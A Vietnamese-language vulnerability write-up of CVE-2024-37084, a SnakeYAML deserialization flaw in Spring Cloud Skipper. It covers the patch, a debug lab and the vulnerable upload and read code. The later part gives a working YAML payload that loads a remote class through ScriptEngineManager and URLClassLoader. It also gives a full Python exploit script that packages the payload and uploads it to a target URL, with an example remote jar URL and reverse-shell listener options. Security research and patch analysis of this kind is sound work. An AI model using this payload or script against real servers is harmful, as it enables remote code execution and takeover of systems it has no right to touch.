CVE-2024-37084: Spring Cloud Remote Code Execution
The vulnerability arises from the use of the standard Yaml constructor, which allows for the deserialization of arbitrary objects.
Demo Exploit RCE
Review
About CVE
CVE-2024-37084 lร lแป hแปng bแบฃo mแบญt trong Spring Cloud Skipper, liรชn quan cแปฅ thแป ฤแบฟn cรกch แปฉng dแปฅng xแปญ lรฝ input data YAML.
Lแป hแปng phรกt sinh tแปซ viแปc sแปญ dแปฅng hร m tแบกo Yaml chuแบฉn (standard Yaml constructor) , cho phรฉp hแปงy tuแบงn tแปฑ hรณa (deserialization )cรกc object tรนy รฝ. Tแปซ ฤรขy attacker cรณ thแป tแบญn dแปฅng ฤแป khai thรกc bแบฑng cรกch cung cแบฅp dแปฏ liแปu YAML ฤแปc hแบกi (malicious YAML data) , cรณ khแบฃ nฤng dแบซn ฤแบฟn thแปฑc thi mรฃ tแปซ xa ( RCE ) .
Lแป hแปng แบฃnh hฦฐแปng ฤแบฟn cรกc phiรชn bแบฃn 2.11.x & 2.10.x cแปงa Spring Cloud Skipper.
DiffCode
Diffing
Bแบฃn vรก cho CVE-2024-37084, ฤฦฐแปฃc nรชu chi tiแบฟt trรชn GitHub cรณ thแป so sรกnh source code , diff nรณ vแปi bแบฃn 2.11.x hoแบทc theo dรตi thay ฤแปi trรชn github vแป report nร y

Cรกc thay ฤแปi tรกc ฤแปng ฤแบฟn mแปt sแป file ฤแบทc biแปt lร hร m SafeConstructor
ฤแป ฤแบฃm bแบฃo YAML deserialization an toร n hฦกn so vแปi bแบฃn 2.11.x , แป ฤรขy mรฌnh sแบฝ dรนng bแบฃn 2.11.0.

Update Constructor cho PackageMetadata
File PackageMetadataSafeConstructor.java
-> Update cแปงa file PackageMetadata cรณ 1 sแป thay ฤแปi , ta sแบฝ xem code diff แป ฤรขy :


Link github report vแป diff code giแปฏa versoin 2.11.0 tแปn tแบกi lแป hแปng yaml deserialze cแปงa CVE nร y vร version sau khi patch :
Update PackageMetadataSafeConstructor
an toร n deserializing object hฦกn so vแปi bแบฃn 2.11.0 lร PackageMetadata
.
Set Up
Download bแบฃn 2.11.0 Spring Cloud Data Flow trรชn link GitHub :
Trong spring-cloud-dataflow-2.11.0/src/docker-compose,
mแป file docker-compose.yml
,
Thรชm
JAVA_TOOL_OPTIONS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address =*:5005
vร o mแปฅc environment skipper-server ฤแป setup debug :

ฤแป cรณ thแป debug remote แป localhost vแปi port listen lร 5005 nรชn phแบงn ports cลฉng cแบงn thรชm port 5005
ฤแป deloy chแบกy lแปnh :
sudo docker-compose up -d
Sau khi chแบกy thร nh cรดng sแบฝ cรณ thแป xem ฤฦฐแปฃc dashboard vร Skipper Server API :


Analysis
View hร m upload()
แป spring-cloud-dataflow-2.11.0/spring-cloud-skipper/spring-cloud-skipper-server-core/src/main/java/org/springframework/cloud/skipper/server/service/PackageService.java:

Soure code :
public PackageMetadata upload(UploadRequest uploadRequest) {
validateUploadRequest(uploadRequest);
Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());
Path packageDirPath = null;
try {
packageDirPath = TempFileUtils.createTempDirectory("skipperUpload");
File packageDir = new File(packageDirPath + File.separator + uploadRequest.getName());
packageDir.mkdir();
Path packageFile = Paths
.get(packageDir.getPath() + File.separator + uploadRequest.getName() + "-"
+ uploadRequest.getVersion() + "." + uploadRequest.getExtension());
Assert.isTrue(packageDir.exists(), "Package directory doesn't exist.");
Files.write(packageFile, uploadRequest.getPackageFileAsBytes());
ZipUtil.unpack(packageFile.toFile(), packageDir);
String unzippedPath = packageDir.getAbsolutePath() + File.separator + uploadRequest.getName()
+ "-" + uploadRequest.getVersion();
File unpackagedFile = new File(unzippedPath);
Assert.isTrue(unpackagedFile.exists(), "Package is expected to be unpacked, but it doesn't exist");
Package packageToUpload = this.packageReader.read(unpackagedFile);
PackageMetadata packageMetadata = packageToUpload.getMetadata();
if (!packageMetadata.getName().equals(uploadRequest.getName())
|| !packageMetadata.getVersion().equals(uploadRequest.getVersion())) {
throw new SkipperException(String.format("Package definition in the request [%s:%s] " +
"differs from one inside the package.yml [%s:%s]",
uploadRequest.getName(), uploadRequest.getVersion(),
packageMetadata.getName(), packageMetadata.getVersion()));
}
if (localRepositoryToUpload != null) {
packageMetadata.setRepositoryId(localRepositoryToUpload.getId());
packageMetadata.setRepositoryName(localRepositoryToUpload.getName());
}
packageMetadata.setPackageFile(new PackageFile((uploadRequest.getPackageFileAsBytes())));
return this.packageMetadataRepository.save(packageMetadata);
}
catch (IOException e) {
throw new SkipperException("Failed to upload the package.", e);
}
finally {
if (packageDirPath != null && !FileSystemUtils.deleteRecursively(packageDirPath.toFile())) {
logger.warn("Temporary directory can not be deleted: " + packageDirPath);
}
}
}
Tรณm tแบฏt cรกch hoแบกt ฤแปng cแปงa hร m nร y
Xรกc thแปฑc yรชu cแบงu tแบฃi lรชn.
Tแบกo thฦฐ mแปฅc tแบกm thแปi ฤแป lฦฐu trแปฏ package.
Giแบฃi nรฉn package ฤแป kiแปm tra nแปi dung.
Xรกc thแปฑc metadata trong package ฤแป ฤแบฃm bแบฃo tรญnh hแปฃp lแป.
Lฦฐu metadata vร o cฦก sแป dแปฏ liแปu vร liรชn kแบฟt vแปi repository.
Xรณa cรกc file tแบกm sau khi hoร n tแบฅt.
Cแปฅ thแป hฦกn :
1. Xรกc thแปฑc yรชu cแบงu tแบฃi lรชn
validateUploadRequest(uploadRequest);
Hร m nร y kiแปm tra dแปฏ liแปu cแปงa yรชu cแบงu tแบฃi lรชn ฤแป ฤแบฃm bแบฃo rแบฑng nรณ hแปฃp lแป trฦฐแปc khi tiแบฟp tแปฅc.
2. Lแบฅy repository ฤแป tแบฃi lรชn
Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());
Xรกc ฤแปnh repository mร package sแบฝ ฤฦฐแปฃc tแบฃi lรชn dแปฑa trรชn tรชn repository ฤฦฐแปฃc cung cแบฅp trong yรชu cแบงu.
3. Tแบกo thฦฐ mแปฅc tแบกm thแปi vร tแบกo package file
packageDirPath = TempFileUtils.createTempDirectory("skipperUpload");
File packageDir = new File(packageDirPath + File.separator + uploadRequest.getName());
packageDir.mkdir();
Path packageFile = Paths.get(packageDir.getPath() + File.separator + uploadRequest.getName() + "-" + uploadRequest.getVersion() + "." + uploadRequest.getExtension());
Files.write(packageFile, uploadRequest.getPackageFileAsBytes());
Tแบกo mแปt thฦฐ mแปฅc tแบกm thแปi trรชn hแป thแปng ฤแป chแปฉa package tแบฃi lรชn. Sau ฤรณ, mแปt file tแบกm thแปi ฤฦฐแปฃc tแบกo ra tแปซ dแปฏ liแปu cแปงa package vร lฦฐu vร o thฦฐ mแปฅc nร y.
4. Giแบฃi nรฉn file tแบฃi lรชn
ZipUtil.unpack(packageFile.toFile(), packageDir);
Sau khi file ฤฦฐแปฃc tแบฃi lรชn, nรณ sแบฝ ฤฦฐแปฃc giแบฃi nรฉn ฤแป cรณ thแป ฤแปc vร xแปญ lรฝ dแปฏ liแปu bรชn trong.
5. Xรกc minh package ฤรฃ giแบฃi nรฉn tแปn tแบกi
String unzippedPath = packageDir.getAbsolutePath() + File.separator + uploadRequest.getName() + "-" + uploadRequest.getVersion();
File unpackagedFile = new File(unzippedPath);
Assert.isTrue(unpackagedFile.exists(), "Package is expected to be unpacked, but it doesn't exist");
Xรกc nhแบญn rแบฑng quรก trรฌnh giแบฃi nรฉn ฤรฃ diแป n ra thร nh cรดng vร file ฤรฃ giแบฃi nรฉn tแปn tแบกi.
6. ฤแปc vร xรกc thแปฑc metadata cแปงa package
Package packageToUpload = this.packageReader.read(unpackagedFile);
PackageMetadata packageMetadata = packageToUpload.getMetadata();
if (!packageMetadata.getName().equals(uploadRequest.getName()) || !packageMetadata.getVersion().equals(uploadRequest.getVersion())) {
throw new SkipperException(String.format("Package definition in the request [%s:%s] differs from one inside the package.yml [%s:%s]",
uploadRequest.getName(), uploadRequest.getVersion(), packageMetadata.getName(), packageMetadata.getVersion()));
}
ฤแปc metadata tแปซ package ฤรฃ giแบฃi nรฉn vร so sรกnh vแปi dแปฏ liแปu yรชu cแบงu tแบฃi lรชn
7. Lฦฐu metadata vร liรชn kแบฟt vแปi repository
if (localRepositoryToUpload != null) {
packageMetadata.setRepositoryId(localRepositoryToUpload.getId());
packageMetadata.setRepositoryName(localRepositoryToUpload.getName());
}
packageMetadata.setPackageFile(new PackageFile((uploadRequest.getPackageFileAsBytes())));
return this.packageMetadataRepository.save(packageMetadata);
Link package metadata vแปi repository tฦฐฦกng แปฉng (nแบฟu cรณ), rแปi lฦฐu metadata cแปงa package vร o database
8. Xแปญ lรฝ exception vร xรณa thฦฐ mแปฅc tแบกm thแปi
finally {
if (packageDirPath != null && !FileSystemUtils.deleteRecursively(packageDirPath.toFile())) {
logger.warn("Temporary directory can not be deleted: " + packageDirPath);
}
}
Thฦฐ mแปฅc tแบกm thแปi ฤฦฐแปฃc tแบกo ra trฦฐแปc ฤรณ sแบฝ ฤฦฐแปฃc xรณa sau khi quรก trรฌnh hoร n thร nh. Nแบฟu khรดng thแป xรณa ฤฦฐแปฃc, ghi lแบกi cแบฃnh bรกo vร o log.
Phรขn tรญch thรชm vแป method read()
qua file DefaultPackageReader.java
khi ta search link method nร y trong project :

Source code :
public class DefaultPackageReader implements PackageReader {
@Override
public Package read(File packageDirectory) {
Assert.notNull(packageDirectory, "File to load package from can not be null");
List<File> files;
try (Stream<Path> paths = Files.walk(Paths.get(packageDirectory.getPath()), 1)) {
files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
}
catch (IOException e) {
throw new SkipperException("Could not process files in path " + packageDirectory.getPath() + ". " + e.getMessage(), e);
}
Package pkg = new Package();
List<FileHolder> fileHolders = new ArrayList<>();
// Iterate over all files and "deserialize" the package.
for (File file : files) {
// Package metadata
if (file.getName().equalsIgnoreCase("package.yaml") || file.getName().equalsIgnoreCase("package.yml")) {
pkg.setMetadata(loadPackageMetadata(file));
continue;
}
if (file.getName().endsWith("manifest.yaml") || file.getName().endsWith("manifest.yml")) {
fileHolders.add(loadManifestFile(file));
continue;
}
// Package property values for configuration
if (file.getName().equalsIgnoreCase("values.yaml") ||
file.getName().equalsIgnoreCase("values.yml")) {
pkg.setConfigValues(loadConfigValues(file));
continue;
}
// The template files
final File absoluteFile = file.getAbsoluteFile();
if (absoluteFile.isDirectory() && absoluteFile.getName().equals("templates")) {
pkg.setTemplates(loadTemplates(file));
continue;
}
// dependent packages
if ((file.getName().equalsIgnoreCase("packages") && file.isDirectory())) {
File[] dependentPackageDirectories = file.listFiles();
List<Package> dependencies = new ArrayList<>();
for (File dependentPackageDirectory : dependentPackageDirectories) {
dependencies.add(read(dependentPackageDirectory));
}
pkg.setDependencies(dependencies);
}
}
if (!fileHolders.isEmpty()) {
pkg.setFileHolders(fileHolders);
}
return pkg;
}
private List<Template> loadTemplates(File templatePath) {
List<File> files;
try (Stream<Path> paths = Files.walk(Paths.get(templatePath.getAbsolutePath()), 1)) {
files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
}
catch (IOException e) {
throw new SkipperException("Could not process files in template path " + templatePath, e);
}
List<Template> templates = new ArrayList<>();
for (File file : files) {
if (isYamlFile(file)) {
Template template = new Template();
template.setName(file.getName());
try {
template.setData(new String(Files.readAllBytes(file.toPath()), "UTF-8"));
}
catch (IOException e) {
throw new SkipperException("Could read template file " + file.getAbsoluteFile(), e);
}
templates.add(template);
}
}
return templates;
}
private boolean isYamlFile(File file) {
Path path = Paths.get(file.getAbsolutePath());
String fileName = path.getFileName().toString();
if (!fileName.startsWith(".")) {
return (fileName.endsWith("yml") || fileName.endsWith("yaml"));
}
return false;
}
private ConfigValues loadConfigValues(File file) {
ConfigValues configValues = new ConfigValues();
try {
configValues.setRaw(new String(Files.readAllBytes(file.toPath()), "UTF-8"));
}
catch (IOException e) {
throw new SkipperException("Could read values file " + file.getAbsoluteFile(), e);
}
return configValues;
}
private FileHolder loadManifestFile(File file) {
try {
return new FileHolder(file.getName(), Files.readAllBytes(file.toPath()));
}
catch (IOException e) {
throw new SkipperException("Could read values file " + file.getAbsoluteFile(), e);
}
}
private PackageMetadata loadPackageMetadata(File file) {
// The Representer will not try to set the value in the YAML on the
// Java object if it isn't present on the object
DumperOptions options = new DumperOptions();
Representer representer = new Representer(options);
representer.getPropertyUtils().setSkipMissingProperties(true);
LoaderOptions loaderOptions = new LoaderOptions();
Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
String fileContents = null;
try {
fileContents = FileUtils.readFileToString(file);
}
catch (IOException e) {
throw new SkipperException("Error reading yaml file", e);
}
PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
return pkgMetadata;
}
}
Tรณm tแบฏt:
Hร m
read()
cแปงa lแปpDefaultPackageReader
duyแปt qua thฦฐ mแปฅc cแปงa package, phรขn tรญch cรกc file YAML, manifest, cแบฅu hรฌnh, vร template ฤแป tแบกo ฤแปi tฦฐแปฃngPackage
hoร n chแปnh.Nรณ xแปญ lรฝ cรกc file theo loแบกi, kiแปm tra vร tแบฃi chรบng vร o cรกc object Java tฦฐฦกng แปฉng.
Sแปญ dแปฅng thฦฐ viแปn SnakeYAML ฤแป ฤแปc vร รกnh xแบก cรกc file YAML thร nh ฤแปi tฦฐแปฃng
PackageMetadata
.Vuln sแบฝ nแบฑm แป hร m nร y.
Quรก trรฌnh ฤแปc nร y giรบp tแบฃi vร chuแบฉn bแป package ฤแป sแปญ dแปฅng trong cรกc bฦฐแปc tiแบฟp theo.
Cแปฅ thแป hฦกn hร m read()
trong DefaultPackageReader
1. Kiแปm tra vร duyแปt qua cรกc file trong thฦฐ mแปฅc
Assert.notNull(packageDirectory, "File to load package from can not be null");
try (Stream<Path> paths = Files.walk(Paths.get(packageDirectory.getPath()), 1)) {
files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
}
catch (IOException e) {
throw new SkipperException("Could not process files in path " + packageDirectory.getPath() + ". " + e.getMessage(), e);
}
Kiแปm tra thฦฐ mแปฅc truyแปn vร o cรณ hแปฃp lแป khรดng. Sau ฤรณ sแปญ dแปฅng
Files.walk()
ฤแป duyแปt qua cรกc file trong thฦฐ mแปฅc, lแบฅy danh sรกch file vร lฦฐu vร ofiles
.ฤแบฃm bแบฃo rแบฑng thฦฐ mแปฅc khรดng rแปng vร xแปญ lรฝ exception trong trฦฐแปng hแปฃp khรดng thแป ฤแปc ฤฦฐแปฃc.
2. Xแปญ lรฝ tแปซng file
for (File file : files) {
if (file.getName().equalsIgnoreCase("package.yaml") || file.getName().equalsIgnoreCase("package.yml")) {
pkg.setMetadata(loadPackageMetadata(file)); // note
continue;
}
if (file.getName().endsWith("manifest.yaml") || file.getName().endsWith("manifest.yml")) {
fileHolders.add(loadManifestFile(file));
continue;
}
if (file.getName().equalsIgnoreCase("values.yaml") || file.getName().equalsIgnoreCase("values.yml")) {
pkg.setConfigValues(loadConfigValues(file));
continue;
}
if (file.getAbsoluteFile().isDirectory() && file.getName().equals("templates")) {
pkg.setTemplates(loadTemplates(file));
continue;
}
if ((file.getName().equalsIgnoreCase("packages") && file.isDirectory())) {
File[] dependentPackageDirectories = file.listFiles();
List<Package> dependencies = new ArrayList<>();
for (File dependentPackageDirectory : dependentPackageDirectories) {
dependencies.add(read(dependentPackageDirectory));
}
pkg.setDependencies(dependencies);
}
}
Vรฒng lแบทp nร y duyแปt qua cรกc file, phรขn loแบกi chรบng theo tแปซng loแบกi cแบงn xแปญ lรฝ:
Metadata: Nแบฟu lร file
package.yml
hoแบทcpackage.yaml
, load metadata cแปงa package( cรณ thแป load code rce ).Manifest: Xแปญ lรฝ cรกc file manifest (file cแบฅu hรฌnh).
Config Values: Load cรกc giรก trแป cแบฅu hรฌnh tแปซ
values.yaml
hoแบทcvalues.yml
.Templates: Load cรกc file template tแปซ thฦฐ mแปฅc "templates".
Dependencies: Load cรณ thฦฐ mแปฅc con "packages", nรณ sแบฝ load thรชm cรกc package phแปฅ thuแปc.
3. Load metadata cแปงa package
private PackageMetadata loadPackageMetadata(File file) {
DumperOptions options = new DumperOptions();
Representer representer = new Representer(options);
representer.getPropertyUtils().setSkipMissingProperties(true);
LoaderOptions loaderOptions = new LoaderOptions();
Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
String fileContents = null;
try {
fileContents = FileUtils.readFileToString(file);
}
catch (IOException e) {
throw new SkipperException("Error reading yaml file", e);
}
PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
return pkgMetadata;
}
Hร m nร y sแปญ dแปฅng thฦฐ viแปn SnakeYAML ฤแป ฤแปc file YAML vร chuyแปn nรณ thร nh object
PackageMetadata
. Nรณ sแปญ dแปฅngConstructor
ฤแป รกnh xแบก cรกc thuแปc tรญnh cแปงa file YAML thร nh object Java tฦฐฦกng แปฉng.ฤแบฃm bแบฃo rแบฑng nแบฟu cรณ thuแปc tรญnh nร o trong YAML khรดng tแปn tแบกi trong ฤแปi tฦฐแปฃng Java, nรณ sแบฝ bแป qua mร khรดng gรขy lแปi.
4. Load file template
private List<Template> loadTemplates(File templatePath) {
try (Stream<Path> paths = Files.walk(Paths.get(templatePath.getAbsolutePath()), 1)) {
files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
}
catch (IOException e) {
throw new SkipperException("Could not process files in template path " + templatePath, e);
}
List<Template> templates = new ArrayList<>();
for (File file : files) {
if (isYamlFile(file)) {
Template template = new Template();
template.setName(file.getName());
try {
template.setData(new String(Files.readAllBytes(file.toPath()), "UTF-8"));
}
catch (IOException e) {
throw new SkipperException("Could read template file " + file.getAbsoluteFile(), e);
}
templates.add(template);
}
}
return templates;
}
Hร m nร y duyแปt qua thฦฐ mแปฅc "templates", ฤแปc tแปซng file YAML vร chuyแปn ฤแปi thร nh object
Template
. Nรณ load nแปi dung cแปงa file vร lฦฐu vร o template ฤแป sแปญ dแปฅng sau
5. Load config value
private ConfigValues loadConfigValues(File file) {
ConfigValues configValues = new ConfigValues();
try {
configValues.setRaw(new String(Files.readAllBytes(file.toPath()), "UTF-8"));
}
catch (IOException e) {
throw new SkipperException("Could read values file " + file.getAbsoluteFile(), e);
}
return configValues;
}
ฤแปc file
values.yaml
hoแบทcvalues.yml
vร lฦฐu trแปฏ nแปi dung cแปงa nรณ trong ฤแปi tฦฐแปฃngConfigValues
.
6.Load packageMetadata :
private PackageMetadata loadPackageMetadata(File file) {
// The Representer will not try to set the value in the YAML on the
// Java object if it isn't present on the object
DumperOptions options = new DumperOptions();
Representer representer = new Representer(options);
representer.getPropertyUtils().setSkipMissingProperties(true);
LoaderOptions loaderOptions = new LoaderOptions();
Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
String fileContents = null;
try {
fileContents = FileUtils.readFileToString(file);
}
catch (IOException e) {
throw new SkipperException("Error reading yaml file", e);
}
PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
return pkgMetadata;
}
PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
Nแปi dung cแปงa chuแปi YAML (
fileContents
) ฤฦฐแปฃc chuyแปn ฤแปi thร nh objectPackageMetadata
bแบฑng cรกch sแปญ dแปฅngyaml.load(fileContents)
tแปซ thฦฐ viแปn SnakeYAML.deserialization: Khi SnakeYAML gแบทp phแบฃi cรกc tag nhฦฐ
!!javax.script.ScriptEngineManager
, tแบกo object cแปงa cรกc class Java tฦฐฦกng แปฉng. ฤiแปu nร y cรณ thแป dแบซn ฤแบฟn viแปc thแปฑc thi mรฃ Java.
Debug
Chแปn Edit :

Chแปn dแบฅu + vร thรชm remote debug JVM :

Click ok , chรบ รฝ port listen ฤรบng vแปi port ฤรฃ setup ( 5005 )

ฤแบทt breakpoint tแบกi hร m upload() ฤแป debug xem cรกch nรณ load file lรชn , ฤแบทt thรชm แป cรกc phแบงn unzip file , check path ฤแป kiแปm tra :

Trฦฐแปc tiรชn chuแบฉn bแป payload :
Note : lแป hแปng yaml deserialize nร y cรณ ฤแป cแบญp trong CVE-2022-1471.
Yaml payload :
repositoryId: 1
repositoryName: local
apiVersion: 1.0.0
version: 4.0.0
kind: test
origin: thePoc
displayName: anythings
name: thePoc
ฤแป payload แป tag nร o cลฉng dc , mรฌnh sแบฝ ฤแป แป tag displayName
Blog references : https://snyk.io/blog/unsafe-deserialization-snakeyaml-java-cve-2022-1471/
Payload :
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
Sau khi deserialize -> tแบกo object -> instance ScriptEngineManager -> sแปญ dแปฅng URLClassLoader exec class tแปซ 1 URL cแปฅ thแป ( แป ฤรขy lร http://localhost:8080)
ScriptEngineManager
sแบฝ tแบฃi cรกc script engine cรณ thแป tแปซ URLhttp://localhost:8080/
.URLClassLoader
cho phรฉp load cรกc class tแปซ URL ฤรณ.
repositoryId: 1
repositoryName: local
apiVersion: 1.0.0
version: 4.0.0
kind: test
origin: thePoc
displayName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
name: thePoc
generate payload rce vแปi : https://github.com/artsploit/yaml-payload
Chแบกy debug :

Cรณ thแป thแบฅy ฤรฃ nhแบญn ฤฦฐแปฃc request gแปญi file lรชn vแปi data lร file yaml chแปฉa payload sau khi zip ( dแปฏ liแปu dc covert thร nh cรกc byte )
Sau khi debug ฤแบฟn :

ฤoแบกn kiแปm tra nร y cแบงn check File zip chแปฉa folder cแปงa package, vร folder nรณ sแบฝ phแบฃi ฤแบทt tรชn theo format packageName-version
.
Sau ฤรณ ฤi ฤแบฟn hร m read() vร ฤแปc dแปฏ liแปu, deserialize vร chuyแปn content -> object vร cรณ thแป thแปฑc thi rce
Scipt exploit :
import os
import requests
import json
import zipfile
from pathlib import Path
import argparse
def create_package_yaml(version, payload_url, folder_path):
package_content = f"""repositoryId: 1
repositoryName: local
apiVersion: 1.0.0
version: {version}
kind: test
origin: thePoc
displayName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["{payload_url}"]]]]
name: thePoc
"""
package_file_path = os.path.join(folder_path, "package.yaml")
with open(package_file_path, 'w') as file:
file.write(package_content)
print(f"[+] Created package.yaml with version: {version}, payload URL: {payload_url}")
def zip_folder(folder_path, zip_file_path):
with zipfile.ZipFile(zip_file_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
folder_name = os.path.basename(folder_path)
for root, _, files in os.walk(folder_path):
for file in files:
full_path = os.path.join(root, file)
relative_path = os.path.relpath(full_path, os.path.dirname(folder_path))
zipf.write(full_path, relative_path)
print(f"[+] Zipped folder to: {zip_file_path}")
def zip_to_byte_array(zip_file_path):
with open(zip_file_path, 'rb') as zip_file:
return list(zip_file.read())
def upload_package(url, version, package_file_as_bytes):
upload_request = {
"repoName": "local",
"name": "thePoc",
"version": version,
"extension": "zip",
"packageFileAsBytes": package_file_as_bytes
}
headers = {
'Content-Type': 'application/json'
}
response = requests.post(url, headers=headers, data=json.dumps(upload_request))
return response
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="PoC for CVE-2024-37084 - Remote Code Execution",
usage="python CVE-2024-37084-Poc.py --target_url <target_url> --version <version> --payload_url <payload_url> [--listen_ip <listen_ip>] [--listen_port <listen_port>]"
)
parser.add_argument("--target_url", type=str, required=True, help="URL of the target server (e.g., http://target_ip:port/api/package/upload)")
parser.add_argument("--version", type=str, required=True, help="Version of the package (e.g., 5.0.0)")
parser.add_argument("--payload_url", type=str, required=True, help="URL to the malicious payload (e.g., https://too.lewd.se/yaml-payload.jar)")
parser.add_argument("--listen_ip", type=str, default="0.0.0.0", help="IP to listen for the reverse shell (default: 0.0.0.0)")
parser.add_argument("--listen_port", type=int, default=4444, help="Port to listen for the reverse shell (default: 4444)")
if len(os.sys.argv) == 1:
parser.print_help()
os.sys.exit(1)
args = parser.parse_args()
folder_name = f"thePoc-{args.version}"
zip_file_name = f"{folder_name}.zip"
Path(folder_name).mkdir(parents=True, exist_ok=True)
create_package_yaml(args.version, args.payload_url, folder_name)
zip_folder(folder_name, zip_file_name)
package_file_as_bytes = zip_to_byte_array(zip_file_name)
print("[*] Uploading malicious package...")
response = upload_package(args.target_url, args.version, package_file_as_bytes)
print(f"Status Code: {response.status_code}")
print(f"Response Body: {response.text}")
Test rce :

Last updated